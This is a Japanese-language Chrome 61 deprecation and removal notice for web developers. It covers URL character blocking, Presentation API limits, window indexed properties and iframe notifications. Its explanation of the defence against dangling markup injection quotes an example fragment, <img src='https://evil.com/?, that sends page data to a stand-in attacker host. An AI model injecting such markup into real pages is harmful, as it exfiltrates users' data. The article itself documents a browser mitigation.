Chrome のほぼすべてのバージョンで、プロダクト、パフォーマンス、ウェブ プラットフォームの機能に関して、多数の更新と改善が行われています。この記事では、Chrome 61(8 月 3 日時点でベータ版)のサポート終了と削除について説明します。このリストは随時変更される可能性があります。
セキュリティとプライバシー
URL に「\n」と「<」の文字が含まれるリソースをブロックする
ダングリング マークアップ インジェクションと呼ばれるハッキングの一種で、短縮された URL を使用して外部エンドポイントにデータを送信します。たとえば、<img src='https://evil.com/?
を含むページについて考えてみましょう。URL には引用符がないため、ブラウザは次に続く引用符を読み取って、囲まれた文字を単一の URL のように扱います。
Chrome 61 では、href
属性と src
属性で許可されている文字セットを制限することで、この脆弱性を緩和しています。具体的には、改行文字(\n
)を検出し、文字未満(<
)を検出すると、URL の処理を停止します。
改行の使用が正当なユースケースで URL 内の文字数に満たない文字数がある場合は、代わりにこれらの文字をエスケープする必要があります。
削除の目的 | Chromestatus Tracker | Chromium のバグ
安全でないコンテキストでの Presentation API のサポート終了と削除
保護されていないオリジンでは、Presentation API が安全でないオリジンに対するハッキング ベクトルとして使用されることがわかっています。ディスプレイにはアドレスバーがないため、この API を使用してコンテンツを装うことができます。実行中のプレゼンテーションからデータを抜き出すことも可能です。
安全でないオリジンに対する強力な機能の削除という Blink の意図を踏まえ、安全でないコンテキストでの Presentation API のサポートを廃止し、削除する予定です。Chrome 61 以降、PresentationRequest.start()
は安全でないオリジンでは機能しなくなります。
削除の目的 | Chromestatus Tracker | Chromium のバグ
JavaScript
ウィンドウのインデックス付きプロパティの定義を禁止する
これまで、一部のブラウザでは次のような JavaScript の割り当てが可能でした。
window[0] = 1;
現在の HTML 仕様では、これは JavaScript 仕様への明示的な違反であることが示されています。そのため、Chrome 61 ではこの機能は削除されました。2016 年 2 月の時点では、Firefox はすでにこのポリシーに準拠しています。
安全でない iframe からの通知の使用を削除する
iframe からの権限リクエストは、ユーザーを混乱させる可能性があります。コンテンツが含まれているページのオリジンと、リクエストを行っている iframe の生成元を区別することが難しいためです。リクエストの範囲が不明確な場合、ユーザーが権限を付与するか拒否するかを判断するのは困難です。
また、iframe で通知を禁止することで、通知権限の要件がプッシュ通知の要件と整合するため、デベロッパーの負担が軽減されます。
この機能を必要とするデベロッパーは、新しいウィンドウを開いて通知権限をリクエストできます。